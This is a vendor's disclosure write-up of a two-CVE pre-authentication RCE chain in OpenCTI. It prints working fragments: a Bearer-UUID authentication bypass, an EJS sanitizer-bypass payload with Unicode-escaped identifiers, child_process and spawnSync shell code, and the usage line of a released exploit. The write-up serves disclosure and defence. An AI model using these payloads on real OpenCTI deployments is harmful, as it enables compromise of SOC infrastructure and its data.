2CVEs chained
0Credentials required
RCEContainer execution
SOC ASSETTrusted platform compromised

This chain was developed and validated during an authorized offensive security assessment under real-world conditions. Client identifiers, infrastructure details, credentials and sensitive data have been removed. The technical examples below come from the validated exploit iterations -- not generic SSTI examples.

Executive impact

OpenCTI is commonly deployed as a trusted component of SOC and Blue Team operations. It aggregates threat intelligence, observables, relationships and enrichment data used by analysts and downstream security workflows. A pre-authentication RCE against that platform is therefore not merely another web-application compromise.

An external attacker can gain command execution inside a defensive platform, access sensitive runtime configuration, reach supporting internal services and potentially alter the information on which analysts base detection and incident-response decisions. The immediate technical impact is container compromise; the broader impact is loss of confidentiality and integrity across the CTI workflow.

Complete attack chain
01Unauthenticated
Attacker
02Admin UUID
as Bearer
03Privileged
GraphQL
04Notifier EJS
Injection
05Sanitizer
Bypass
06Reliable
Pre-Auth RCE

Stage 1 -- Removing the authentication boundary

CVE-2026-27960 allowed an existing OpenCTI user UUID to be supplied directly as Bearer material. In the validated chain, a low-impact GraphQL identity query returned the selected administrator identity, confirming that subsequent operations were processed with the administrator's server-side security context.

Authorization: Bearer <administrator-uuid>

query {
  me { id name user_email }
}

This vulnerability did not execute code by itself. Its precise role was to remove the authorization boundary protecting the notifier functionality required by the second vulnerability.

Stage 2 -- How attacker input reaches server-side execution

The controlled value is not a Node.js payload injected directly into the process. It begins as an EJS template embedded in the serialized notifier configuration sent to the privileged notifierTest GraphQL operation.

01
GraphQL input
notifier_configuration contains an attacker-controlled template string.
02
Serialized configuration validation
OpenCTI inspects the textual representation for forbidden identifiers and function-like calls.
03
EJS compilation and rendering
If accepted, the template is compiled into server-side JavaScript.
04
OpenCTI Node.js process
The generated JavaScript executes inside the privileged application runtime.
05
Operating-system impact
A successful escape reaches built-in process and filesystem functionality, then invokes a controlled shell command.
Root cause analysis

The root cause is the evaluation of attacker-controlled EJS inside the privileged OpenCTI server process. The sanitizer attempts to make this safe by rejecting known-dangerous text and recognizable call syntax, but it analyzes the serialized representation rather than executing the template in a genuinely isolated runtime.

A dynamic language can reconstruct identifiers and invocation semantics at parse or runtime. The validator and the JavaScript engine therefore do not necessarily see the same effective program.

The hard part -- Concrete iterations from the engagement

Confirming that template input was evaluated was only the first milestone. The real work was learning exactly where each candidate failed and then changing one property at a time. The following examples are taken from the validated exploit development history.

Attempt 1 -- Conventional exception handling collided with the call filter

Real constraint observed in exploit v8Rejected by serialized scanner
try {
  // execution path
} catch (error) {
  // preserve evidence
}

The validator's function-call expression treated the raw sequence catch( as an unauthorized call. This is not a JavaScript security boundary; it is a textual false positive. The reliable command stage was redesigned without any catch(...) construct.

Attempt 2 -- Proving the bypass before executing a command

The first successful probe was intentionally smaller than the final RCE. It answered one question only: can a validator-compatible EJS expression reach the server's Node.js runtime?

<%=(Function`throw Error["call"](null,"OPENCTI-NODE-"+pro\u0063ess.version)`)``%>

This expression combines three concrete techniques used in the final chain:

Receiving OPENCTI-NODE-<version> proved both sanitizer bypass and execution inside the OpenCTI Node.js process. It did not yet prove command execution.

Attempt 3 -- Reconstructing built-in module access

Once the runtime context was confirmed, the exploit reconstructed the process and module names that could not safely appear as raw contiguous strings:

const p = pro\u0063ess;
const c = p["getBuiltinMo\u0064ule"]("child_pro\u0063ess");
const f = p["getBuiltinMo\u0064ule"]("fs");

EJS is only the injection vehicle. It evaluates JavaScript inside OpenCTI; JavaScript then reaches the Node.js runtime; the runtime's built-in modules finally provide process creation and filesystem primitives. This is why the article refers to Node.js only after the EJS-to-runtime transition has been established.

Attempt 4 -- Why execSync was not reliable enough

Earlier exploit iterationCommand execution, unreliable evidence

An earlier version used execSync. It could execute commands, but a non-zero shell exit code raised an exception before the exploit persisted the result. In a real assessment that creates ambiguity: did the payload fail, did the command execute and return an error, or was output propagation the only broken stage?

The final implementation switched to spawnSync, which returns a structured result even when the shell exits non-zero:

const r = c["spawnSync"](
  "/bin/sh",
  ["-c", command],
  { encoding: "utf8", timeout: 120000, maxBuffer: 1048576 }
);

The exploit then preserves exit status, signal, runtime error, stdout and stderr. This turned a code-execution primitive into usable engagement evidence.

Attempt 5 -- A response marker produced a false positive

One iteration searched the complete GraphQL error for an OPENCTI-WRITE-OK marker. That was unsafe because EJS error messages can include the template source itself: the marker could appear even when the execution stage had not produced the evidence file.

The final chain treats the existence and content of the unique remote file as authoritative. A later request must read it successfully before RCE is reported.

Passing the sanitizer was not equivalent to obtaining RCE. The expression still had to compile as EJS, execute as JavaScript in the actual OpenCTI context, reach Node.js built-ins and produce independently retrievable evidence.

Reliable output retrieval without callbacks

The assessed network was segmented. Reverse shells and external callbacks were not suitable dependencies, and successful SMTP delivery was unnecessary. The final exploit uses a two-stage application-mediated evidence channel:

  1. Execute the command with spawnSync and write a Base64-encoded structured result to a unique file under /tmp.
  2. Send a second notifier render that reads the file and throws OPENCTI-RCE-B64-<data> through a controlled error.
  3. Decode the evidence locally, then issue a final render that removes the temporary file.
const d = f["readFileSync"](remoteFile, "utf8");
throw Error["call"](null, "OPENCTI-RCE-B64-" + d);

Read retries are intentional: if multiple API replicas sit behind a reverse proxy, the command stage and read stage may reach different container filesystems. Retrying the read improves reliability without re-executing the command.

Full-chain exploitation

Unauthenticated attacker
        |
        v
CVE-2026-27960 -- privileged UUID accepted as Bearer material
        |
        v
Administrator GraphQL context
        |
        v
Platform mailer discovery and notifierTest access
        |
        v
CVE-2026-39980 -- attacker-controlled EJS rendering
        |
        v
Tagged-template invocation + Unicode identifier reconstruction
        |
        v
getBuiltinModule("child_process") + getBuiltinModule("fs")
        |
        v
spawnSync("/bin/sh", ["-c", command])
        |
        v
Base64 evidence file -> controlled GraphQL error -> cleanup
        |
        v
Reliable pre-authentication RCE

Post-exploitation impact

Post-exploitation was controlled and limited to the authorized mission objectives. The compromise confirmed access to application runtime configuration, sensitive OpenCTI data paths and network reachability toward supporting internal services. Details that could identify the assessed environment -- service names, credentials, addresses, datasets and extracted content -- are intentionally omitted.

For a SOC or Blue Team, the critical outcome is loss of trust in the CTI platform itself. Once the OpenCTI runtime is attacker-controlled, both the confidentiality of intelligence and the integrity of information consumed by analysts must be considered compromised.

Exploit release

The complete chain was developed and validated during an authorized offensive security assessment under real-world conditions. Following the remediation period, the final exploit is now publicly available as a single standalone Python implementation reproducing the complete workflow from administrator impersonation to reliable command execution, deterministic output retrieval and cleanup.

The public release focuses on the final validated attack path. It excludes client-specific artefacts, infrastructure details and post-exploitation components that are not required to demonstrate the vulnerability chain.

python3 CVE-2026-27960-39980-OpenCTI-PreAuth-RCE.py \
  -u https://opencti.example \
  -a <privileged-user-uuid> \
  -c 'id'

View the standalone Python full-chain exploit on kmkz/Exploits.

Attention point -- Possible remediation bypass

On August 4, 2026, following the public announcement of this research, Giuseppe "N3mes1s" reported on X a possible bypass of the initial safeEjs remediation using Unicode-escaped identifiers. At the time of publication, BOSS has not independently reproduced the claim against a clean patched deployment. It should be treated as an important attention point, not yet as confirmation that the fix is incomplete.

Defensive actions

References

Finding a vulnerability is only the beginning.
BOSS develops and validates reliable attack chains under real-world assessment constraints -- including exploit engineering, adversary simulation and controlled post-exploitation against critical platforms.
Get in touch